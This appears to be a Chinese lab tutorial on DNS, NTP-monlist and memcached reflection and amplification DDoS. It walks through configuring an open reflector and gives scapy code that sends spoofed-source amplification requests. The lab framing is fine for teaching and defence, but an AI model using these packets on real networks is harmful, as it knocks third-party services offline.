DDOS反射攻击

0x01 环境

包含3台主机

attact 作为攻击方,使用Centos7.2

reflect 作为流量放大器,安装有dns 、ntp 、memcached三种可以放大流量的服务

windows_server  ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包

0x02 步骤

一、DNS放大攻击

登录 reflect机器,安装并配置BIND

yum -y install bind

修改BIND默认配置

vi /etc/named.conf 
listen-on port 53 { x.x.x.x; }; //其中x.x.x.x为本机IP地址
//allow-query     { localhost; };   //注释此行,允许所有查询

启动服务
systemctl start named

此处需要注意centos7防火墙配置,可以关闭或添加放行规则,否则其它计算机仍然无法使用BIND查询DNS

登录attact机器,安装python 及scapy模块
yum -y install python
yum -y install epel-release
yum -y install python-pip
pip install scapy -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

登录attact机器,安装dig查询工具

dig类似于windows下nslookup

yum install bind-utils

使用tcpdump抓DNS包

tcpdump -i ens33 -c 20 -w dns.pcap 'port 53' //ens33为接口名

使用dig进行any查询

dig any baidu.com @x.x.x.x // x.x.x.x 为reflect服务器IP,即DNS服务器IP

可以看到大量返回值,同时用wireshark打开保存下来的dns.pcap文件。用于后述分析。

登录attact机器,使用scapy构造攻击

关于scapy的使用,可以在互联网上查询。查询协议支持字段可以用如:ls(DNS)

使用scapy读取数据包及显示

pcap=rdpcap("dns.pcap")
pcap[0]

进入scapy,根据wireashark抓包构造如下数据,注意更换源地址和目标地址
源地址:攻击机IP
目的IP:DNS IP

i=IP(src="192.168.164.1",dst="192.168.164.136")
u=UDP()
q=DNSQR(qname="baidu.com",qtype=255)
d=DNS(rd=1,qdcount=1,qd=q)
r=(i/u/d)
sr1(r)

抓包观察效果,尝试伪造源地址,再次发送。

二、NTP放大攻击

登录reflect机器,安装并配置NTP服务

NTP需要4.2.6P5前的版本,可以yum list ntp查看后,yum 安装

centos7.3 直接安装即可

yum -y install ntp

配置NTP :vi /etc/ntp.conf

注释以下两行,允许所有客户端访问

#restrict 127.0.0.1
#restrict ::1

修改下面网段,提高本地访问的权限

 # Hosts on local network are less restricted.
restrict 192.168.164.0 mask 255.255.255.0 nomodify notrap

注释以下一行,开启monitor功能

#disable monitor

保存文件后,启动服务

systemctl start ntpd

登录attactt机器,测试NTP服务器是否正常工作 ,并抓包分析

tcpdump
其中x.x.x.x为 reflect服务器IP

ntpdate x.x.x.x           //测试服务器是否工作
ntpdc -n -c monlist x.x.x.x       //获取服务器monlist列表
登录attactt机器,使用脚本构造monlist数据

编写以下python脚本,保存为send_ntp.py

from scapy.all import *
import random
ntp_server = sys.argv[1]
num = int(sys.argv[2])
for i in range(num):
    ip = str(random.randint(1,200))+'.192.192.192'
    send(IP(dst=ntp_server,src=ip)/UDP(sport=123)/NTP(leap=3,version=4,mode=3))
    print(ip)

使用脚本发送查询数据

python send_ntp.py x.x.x.x 100
放大器IP

再次获取monlist查看

ntpdc -n -c monlist x.x.x.x

登录attactt机器,使用scapy构造攻击数据包

注意替换源地址与目标地址
源地址:攻击机IP
目的IP:ntp IP

scapy
i=IP(dst="192.168.164.129",src="192.168.5.5")
u=UDP()
n=NTPPrivate(version=2,mode=7,implementation=3,request_code=42)
send(i/u/n)

三、memcached放大攻击

登录reflect机器,安装并配置MEMCACHED服务
yum -y install memcached		//yum安装memcached
systemctl start memcached		//启动memcached服务
netstat -tunl			//确认11211 udp端口是否开启

登录attact机器 测试MEMCACHED是否可用
yum -y install telent 
telnet x.x.x.x  11211      //x.x.x.x 为reflect服务器IP
stats			//查询memcached状态
set 8abc 0 0 80		//设置一个键值,注意对应80为长度
abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123  //看到回显STORED表示成功
get 8abc		//获取8abc的值
登录attactt机器,使用scapy构造攻击数据包

这里我们可以用stats查询来放大,也可以用get某一键值,来放大
因为反射攻击需要使用UDP协议,MEMCACHED使用UDP时,需加上\x00\x00\x00\x00\x00\x01\x00\x00
源地址:攻击机IP
目的IP:放大器 IP

scapy
i=IP(src="192.168.164.129",dst="192.168.164.136")
u=UDP(sport=44444,dport=11211)
raw1= "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\nstats\r\n"		  //设置负载为 stats stats
raw2="\x00\x00\x00\x00\x00\x01\x00\x00get 8abc\r\n"				//设置负载为get 8abc,获取8abc键值  
sr1(i/u/raw1)
sr2(i/u/raw2)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值